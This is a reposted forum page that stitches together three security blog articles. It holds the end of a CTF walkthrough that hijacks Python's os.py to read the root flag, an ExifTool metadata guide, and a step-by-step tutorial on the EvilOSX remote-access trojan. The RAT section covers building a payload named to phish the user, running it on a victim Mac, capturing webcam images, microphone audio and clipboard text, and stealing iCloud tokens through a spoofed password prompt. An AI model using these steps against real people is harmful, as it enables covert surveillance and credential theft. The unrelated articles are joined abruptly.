![[Image: 18.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-u9m5rRSNNtE/XTXMol_gppI/AAAAAAAAfZc/-Mke7GyOMR4sCA8jJj97_N3K-yS79iXgACLcBGAs/s1600/18.png?w=687&ssl=1)
Taking privilege of python library, we can create a bogus python library named as os.py to call root flag through this file.
cd /tmp
echo "system ('cat /root/root.txt > /tmp/flag')" >> /usr/lib/python2.7/os.py
1
2
cd /tmp
echo "system ('cat /root/root.txt > /tmp/flag')" >> /usr/lib/python2.7/os.py
After some time it will create write the root flag inside /tmp/flag as shown in the below image. Thus, we have obtained the root flag and finished this challenge.
![[Image: 19.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-LtVxX8WbIvM/XTXMo4Xly5I/AAAAAAAAfZg/Ul479_bVEl8IAbp0U138Giiw_eT2DMOAQCLcBGAs/s1600/19.png?w=687&ssl=1)
In this article, we’ll discover various methods to read, write and manipulate the meta-data information recorded in a variety of file types. In order to achieve this, we’ll be using a tool known as “ExifTool”. EXIF is an acronym for Exchangeable Image File Format and it is a standard for the inclusion of metadata in certain file types.
Table of Content- Introduction to ExifTool
- Installation
- Usage of ExifTool
- Extract the Common Meta-Data Information
- Extract the Specific Meta-Data Information
- Extract GPS Co-ordinates
- Extract Thumbnail Image
- Extract metadata using specific keywords
- ExifTool’s Verbose Mode
- Writing the Meta-Data Information
- Removing Meta-Data Information
- Saving outputs
- In HTML file
- In-Text File
- Extracting EXIF data from a Video file
Introduction
ExifTool is developed by Phil Harvey. It is a platform-independent Perl library coupled with a full-featured command-line implementation for reading, writing and manipulating the metadata across a broad range of files, particularly the JPEG images. This metadata may comprise a bunch of information such as the camera make, file type, permissions, file size etc., though it further offers more details about the photograph, like the exposure, the shutter speed and whether the flash fired or not. ExifTool probably gives us the simplest way to extract metadata from files, as it is free and an open-source program.
Installation
Exiftool is quite easy to deploy. It’s just about hitting our Linux terminal and cloning the tool from GitHub.
git clone [To see content please register here]
1
git clone [To see content please register here]
In addition, we need to install the necessary package for it.
sudo apt-get install libimage-exiftool-perl
1
sudo apt-get install libimage-exiftool-perl
![[Image: 1..png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-mKpmqhL6HvA/XTSLmxaH3fI/AAAAAAAAfXY/_X-T2aNgKGk7WNN5M2RVS1kgocafESFjgCLcBGAs/s1600/1..png?w=687&ssl=1)
So, we’ve mounted the tool in our system. Let’s take a closer look at it.
Usage of Exiftool
To extract the entire metadata of a file, we just need to execute the given below command:
exiftool <filename>
1
exiftool <filename>
From the below image, you can now notice that we’ve got all the information drawn from our image file from the very basic to advance.
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-vTRc7j-W9ME/XTSLpUq1fXI/AAAAAAAAfX0/ewQIDgYm8ucA3qGAca8iCcTePBs21o9mACLcBGAs/s1600/2.png?w=687&ssl=1)
However, if we need to capture the ids along with exif tags in the Hexa-Decimal format, though we need to run the following command:
exiftool -H <filename>
1
exiftool -H <filename>
From the below image, we can see that there is a lot of information stored within these Exif tags.
![[Image: 3..png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-QvWvXIsW_kw/XTSLp54b5RI/AAAAAAAAfX4/gVHfVFjtJ102RgYwAPYHCEpzn0iwpcTnACLcBGAs/s1600/3..png?w=687&ssl=1)
Extract the Common Meta-Data Information
Now execute the given below command which will provide us with the output of the most common Exif tags of the image file.
exiftool –common <filename.jpg>
1
exiftool –common <filename.jpg>
![[Image: 4..png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-Qsy6-R0OlhQ/XTSLpw0XM3I/AAAAAAAAfX8/pAkLnMiHGUUkwmEnKNmU5YamWV_46OB6QCLcBGAs/s1600/4..png?w=687&ssl=1)
Extract the Specific Meta-Data Information
We can list a particular meta-information of our image file by simply executing the command given:
exiftool -tagname -tagname <filename>
1
exiftool -tagname -tagname <filename>
![[Image: 5.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-UgrxtD4OaEo/XTSLqXQ3x4I/AAAAAAAAfYA/h7Ahlpf2tpgdtRJERU0I6Cg_CT_76L5NQCLcBGAs/s1600/5.png?w=687&ssl=1)
From the below image, we get our desired output displayed along with their respected tag names in a list type format.
Extract GPS Co-ordinates
The photographs we capture using our smartphones or camera have GPS coordinates embedded as metadata in the image files. To obtain this, we just need to fire the command given below:
exiftool <filename> | grep GPS
1
exiftool <filename> | grep GPS
![[Image: 6..png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-cyzK_jAudds/XTSLrEeKbOI/AAAAAAAAfYE/WAxu0hl9EZ8dm-LU3r1ezT4boUb-TntowCLcBGAs/s1600/6..png?w=687&ssl=1)
Here we got the GPS Position, now just copy and paste this complete coordinate information over Google Maps and we will get the exact location of the camera when the picture was taken.
Extract Thumbnail Image
Thumbnails are the original preview images basically compressed. These are just created to open the original images more quickly and act as place holders to them. In order to extract these thumbnail images, we just need to execute the following command:
exiftool -ThumbnailImage (filename) > (Output filename)
1
exiftool -ThumbnailImage (filename) > (Output filename)
Here we can see that the thumbnail.jpg file is extracted from the test.jpg image.
![[Image: 7..png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-N_DRDYVtf8U/XTSLrG4JH1I/AAAAAAAAfYI/uKymFL8_ygEo6RZL1ceTZazKOKeDYE3WwCLcBGAs/s1600/7..png?w=687&ssl=1)
Extract metadata using specific keywords
The following command will assist us to extract the metadata information associated with some specific keywords.
exiftool "-*keyword*" <filename>
1
exiftool "-*keyword*" <filename>
![[Image: 8..png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-lmPWw6EkoMo/XTSLrqqH6SI/AAAAAAAAfYM/Kk-9qmmIafgZWbDq6lZ_JlxR3sZrN6tHgCLcBGAs/s1600/8..png?w=687&ssl=1)
From the below picture, we can see that our fired command displays all tags with names containing the word “Image” from the file.
ExifTool’s Verbose Mode
Verbose mode generates extended information i.e. when we add [-v] to the exiftool command it will display us the comprehensive data about the process that it is performing.
exiftool -v <filename>
1
exiftool -v <filename>
![[Image: 9..png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-8eHE-oI9lqA/XTSLsHLsvDI/AAAAAAAAfYQ/xaHdJJGIA98_O7biU6HSGrFF3ZSWBhyNQCLcBGAs/s1600/9..png?w=687&ssl=1)
Writing the Meta-Data
ExifTool provides us with a great power to write most of the information on the EXIF tags, that anyone might want to alter, but some tags are protected because they describe the image’s physical characteristics that we can’t change with ExifTool, such as compression. Also, other tags like the GPS, the MakerNotes, this information can be edited.
To manipulate the exif data we need to execute the following command:
exiftool -Make= “HackingArticles” <filename>
1
exiftool -Make= “HackingArticles” <filename>
![[Image: 10..png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-NMPU1Ig9Ji8/XTSLm9yBl2I/AAAAAAAAfXc/Css45zD0oOsjau1gPxfnbRmPTcS6yEz9ACLcBGAs/s1600/10..png?w=687&ssl=1)
Here we can see that the information stored in the “Make” tag is replaced from “OPPO” to “HackingArticles”. While writing the information, ExifTool’s script automatically preserves the original file by adding “_original” to the end of the file name.
Removing Meta-Data Information
We have only extracted or manipulated the EXIF data so far, but what if we want to remove or delete all the metadata from an image file. Just execute the following below command, let’s see how this works:
exiftool -all= <filename>
1
exiftool -all= <filename>
It shows 1 image files uploaded. The “test.jpg” EXIF data has been removed effectively. Although let’s attempt to extract the metadata from “test.jpg” again, hence we’re just getting the basic information of the image and the rest is deleted.
![[Image: 11..png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-BFP_W8TXKCQ/XTSLnCbq-bI/AAAAAAAAfXg/z9zAKbCoQI0l_GsC6-t0HddiE0siQKRRwCLcBGAs/s1600/11..png?w=687&ssl=1)
Saving outputs in Multiple Format
- In HTML file
We will save the ExifTool’s output in an HTML file in order to maintain the records and for better readability. To do this we will use the parameter “-h” along with the exiftool’s command and save the results in a file with .html extension.
exiftool -h (filename) > (output.html)
1
exiftool -h (filename) > (output.html)
![[Image: 12..png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-NYqbBAJMbKY/XTSLnqGGuUI/AAAAAAAAfXk/z8rSXcgNs6U0iPTMT6MmzkYgibm1NpIKACLcBGAs/s1600/12..png?w=687&ssl=1)
Here, we can see test.html file is generated. Although we just need to open it to check our EXIF data output in any of our browsers.
![[Image: 13..png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-aoIP0ShY3MY/XTSLoSyOS9I/AAAAAAAAfXs/eQAJOEx3244hO9dZrOopjNXYxBPIgM-aACLcBGAs/s1600/13..png?w=687&ssl=1)
- In-Text File
We can even export our exifdata to a text file similar to the output of the HTML. To achieve this, we simply need to execute the following commands:
exiftool (filename) > (outputexif.txt)
1
exiftool (filename) > (outputexif.txt)
Further, we can also monitor our output either by opening it in any of the text editors or by simply running the command:
cat <filename>
1
cat <filename>
![[Image: 14..png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-e5cLVIpkeuk/XTSLoLmMnVI/AAAAAAAAfXo/J4i3L5n8M-k7qGKUhL9Ckn4zgkfmb9GkgCLcBGAs/s1600/14..png?w=687&ssl=1)
Extracting ExifData from a Video file
ExifTool not only extract metadata from the jpg file format but can also read and write in a variety of files. To know more click [To see content please register here] .
We will now extract the entire meta-data information from an mp4 video file. To extract this, we will run the basic exiftool’s command i.e.
exiftool <filename.mp4>
1
exiftool <filename.mp4>
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-2h0fgr_bsvI/XTSLojGf3XI/AAAAAAAAfXw/88SFr6FHsrcXP9vqxXKmADSSG5oxVR_NACLcBGAs/s1600/15.png?w=687&ssl=1)
Conclusion
This was Exiftool’s complete usability guide as a meta-data extractor. It is user-friendly and convenient because of its simple command-line implementation. It has thus become one of the best tools to extract meta-data data from a variety of file formats.
In this article, we will learn to use EvilOSX tool which is a Remote Administrator tool (RAT ) for initializing foothold on MacOS/OSX like platform. It can dramatically increase access in a matter of seconds.
Table of Content- Introduction
- Installation
- Usage in Exploitation
- Usage in Post-Exploitation
- System Info
- Webcam
- Retrieve iCloud auth tokens
- Microphone
- Clipboard
- Conclusion
Introduction
EvilOSX is an evil RAT (Remote Administrator Tool) designed to work upon macOS / OSX Platforms. It was developed by [To see content please register here] . Its backbone is famous Empire Framework Project. This project can be modified to be used on Rubber Ducky. This toolkit is fully packed with features. It was designed on the module system that made the debugging, improvements and addition of other modules easy. Also being developed in python it provides easy to be run across different attacking platforms.
Installation
The installation of the EvilOSX RAT on the Attacker machine, which in our case in Kali Linux is pretty simple. To begin with, we will visit the [To see content please register here] . After getting the git link, we are going to clone the EvilOSX to our attacker machine using the git clone command.
git clone [To see content please register here]
1
git clone [To see content please register here]
![[Image: 1.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-8Ik1whgqdVk/XTSJL4t5-1I/AAAAAAAAfXI/I9y1Epm9dqAL3NH5dMJCG69RuHa1GG4EwCEwYBhgL/s1600/1.png?w=687&ssl=1)
After cloning the EvilOSX, we traversed in the newly created directory created with the name of EvilOSX. Now, the tool has some predefined requirements that are required in order to make the tool function properly. Being a python developed tool, we will use the “pip” to install those requirements. These requirements are given by the author in the form of a text file which we used to install them.
pip install -r requirements.txt
1
pip install -r requirements.txt
![[Image: 2.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-9-NKOwYLTv8/XTSJOEWsMWI/AAAAAAAAfXM/gEpvUPq7WYo3SbsMe_ZvVpDaZEaynmGKgCEwYBhgL/s1600/2.png?w=687&ssl=1)
Usage in Exploitation
Since we have successfully installed all the predefined requirements, it time to run this tool and gain control over some macOS devices. Now to exploit, we need a payload. To create this payload, we will use the start.py file with the builder parameter.
python start.py --builder
1
python start.py --builder
After running the script, it asked us to enter the following information:- the Server host, here we entered our Attacker Machine IP Address (Kali Linux).
- Next, it asked us for a port, this can be any random port.
- After this, we are asked for the location of the payload.
- Next, we have to choose if we want EvilOSX to work upon the rubber ducky or not. Enter 0 for otherwise.
- Furthermore, we are asked to choose the loader, leave it default.
- After that, we are asked to name the payload so as phish the user.
![[Image: 3.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-ABZ5-dIUMy8/XTSJOm6-U-I/AAAAAAAAfXI/4Y6p17UCNpQ3T_m4caXCxGvLDAmXUzjoACEwYBhgL/s1600/3.png?w=687&ssl=1)
After all these choices, a launcher is created as shown in the image given below.
Now we can use any method to share this launcher or payload to the victim. In our case, we used a python HTTP server to get this file to the victim system. This file is downloaded on the victim system and then after providing the proper permissions the payload is executed as shown in the image given below.
chmod 777 Launcher-39q1q9.py
./Launcher-39a1a9.py
1
2
chmod 777 Launcher-39q1q9.py
./Launcher-39a1a9.py
![[Image: 4.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-ZtJrbgL4HZE/XTSJPGJlM_I/AAAAAAAAfXI/bOIJ13kWWAcVDgLKBIiUiwt8Sh1UwVE_gCEwYBhgL/s1600/4.png?w=687&ssl=1)
While we are executing the Launcher on the victim, we have to perform some actions on the attacker machine simultaneously. We are going execute the start.py again but this time in the CLI mode. Here we have to specify the port that we used while creating the launcher as the parameter as shown in the image.
python start.py -cli --port 4545
1
python start.py -cli --port 4545
![[Image: 5.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-3KB8HVjm3RA/XTSJPMX91lI/AAAAAAAAfXM/1fn4tmvYqQwGxT81r87J2B4iU7notwr0gCEwYBhgL/s1600/5.png?w=687&ssl=1)
Post-Exploitation
After running the start.py script in the previous steps simultaneously with the launcher on the victim machine, we have successfully infiltrated the Victim MacOS system. The terminal converts in a framework as shown in the image. We can configure a page to shown upon the running. Type in help to show a list of working commands. We can see the list of active bots by using the command bots. To establish a connection to a bot, use connect command followed by the number which in this case is 0. To see the list of available modules we use modules command.
![[Image: 6.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-tRIOAC_vJoo/XTSJPk4RGNI/AAAAAAAAfXM/ga7YtZEFLn8YONCGbrQaqxC7FHFmjKS9wCEwYBhgL/s1600/6.png?w=687&ssl=1)
To use a module, just type in “use” followed by the module name. As there are a bunch of available modules, we are demonstrating a bunch of them here for reference. You can try them all at your convenience.
System Info
To get a brief summary of the system, we can use the get info module. This gives us the System Version, Model of the MacOS device. We also get the Battery status in case it is a Laptop. We have the name of the Wi-Fi network it is connected to. It also tells us the privileges the current account has as well as the status of the FileVault.
![[Image: 7.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-39L71m9l90I/XTSJPvnTIMI/AAAAAAAAfXM/UBbp_0mibjslPfyV6Vt2fw7zs3ePn0Z5wCEwYBhgL/s1600/7.png?w=687&ssl=1)
Webcam
Now, we will try to grab a snap from the webcam of the MacOS device. To do this we will need to use the webcam module. It gives us a warning that there a green LED will show near the camera.
![[Image: 8.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-crzBVhu58HQ/XTSJPxn3r6I/AAAAAAAAfXQ/2C45d66kyjMzjm9L4lHf2QSF7h9xPVoyQCEwYBhgL/s1600/8.png?w=687&ssl=1)
We have successfully captured a snap from the victim’s webcam as shown in the given image.
![[Image: 9.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-FWOHw-fnZjY/XTSJQ7Sl5hI/AAAAAAAAfXU/lvuPGHuEAXcARD-Q96_6T201yXC3_PZZwCEwYBhgL/s1600/9.png?w=687&ssl=1)
Retrieve iCloud auth tokens
We can extract the iCloud Authentication that contains information related to the AppleID linked to the device. However, this will first show a prompt on the victim system.
![[Image: 10.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-3LhFmEbXfXs/XTSJL-jJDGI/AAAAAAAAfXE/N7xige8OEpYcnddCBVngbF2IpEiU-FD3wCEwYBhgL/s1600/10.png?w=687&ssl=1)
After agreeing to continue, a prompt will pop us as shown in the image given below. This is masquerading as a genuine prompt that will spoof the victim and make him enter the password.
![[Image: 11.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-HBEejthuPz8/XTSJL4ojYsI/AAAAAAAAfXI/J500LuvQWvMb3xf2O_DEDDX-y08PAPBOQCEwYBhgL/s1600/11.png?w=687&ssl=1)
After the victim enters a password, we will successfully capture the mail ID liked to the device as well as the access tokens as shown in the image given below.
![[Image: 12.png?w=687&ssl=1]](https://i2.wp.com/1.bp.blogspot.com/-tIfkIhVeKaI/XTSJNFVic8I/AAAAAAAAfXI/nlQTuZPn9DkJKFybMSUJ7yWeoEyIPHViQCEwYBhgL/s1600/12.png?w=687&ssl=1)
Microphone
We can also capture the audio from the victim device using the microphone module. After running the command use microphone, we are asked to enter the time in seconds to record the audio from the microphone of the victim device and also the name of the service that would show up in the verification prompt.
![[Image: 14.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-GSkq_fjzLC4/XTSJNYBnnWI/AAAAAAAAfXI/fN2LGCRWfmg7X8tH0t6VpSQPrZLHmwMOQCEwYBhgL/s1600/14.png?w=687&ssl=1)
Here we entered 5 seconds, and we left the name of service to be blanked which made the RAT to take it as random string as shown in the given image. A permission prompt pops up on the victim system asking for permission to access the microphone.
![[Image: 13.png?w=687&ssl=1]](https://i0.wp.com/1.bp.blogspot.com/-AqLE_Do2zBg/XTSJMzYoETI/AAAAAAAAfXM/-VoL5RCYRKI8dwr5vmy4_MvsIZpPKvdeQCEwYBhgL/s1600/13.png?w=687&ssl=1)
After allowing we have the recorded audio in the mp3 format saved on out attacker machine in the tmp directory.
![[Image: 15.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-tOCeTKTjAwA/XTSJNqkuO7I/AAAAAAAAfXM/IIYB3R11RVcBmkcIxzdmtK7sQ5eDFFTYACEwYBhgL/s1600/15.png?w=687&ssl=1)
Clipboard
We can also sniff the clipboard data from the victim machine. To do this we will have to use the clipboard. This will start the sniffer on the victim machine for the specified time in seconds. After starting the sniffer, any text that the victim will copy can be viewed as shown in the image given below.
![[Image: 16.png?w=687&ssl=1]](https://i1.wp.com/1.bp.blogspot.com/-iClkbq42jcY/XTSJOOMgPfI/AAAAAAAAfXU/JXI4HoROFwAXHVpYYunXVn9aiIfrJEvegCEwYBhgL/s1600/16.png?w=687&ssl=1)
Conclusion
EvilOSX has a lot of uses, and the attention to detail in automating certain exploits makes it a great dedicated tool for OSX. The ease with which it works and attacks is remarkable, we can launch a phishing attack to escalate privileges or trick a user into letting us deeper into the system. It’s a great tool and amazing to use as it traverses itself to connect apple devices.
|
|
|
|
|
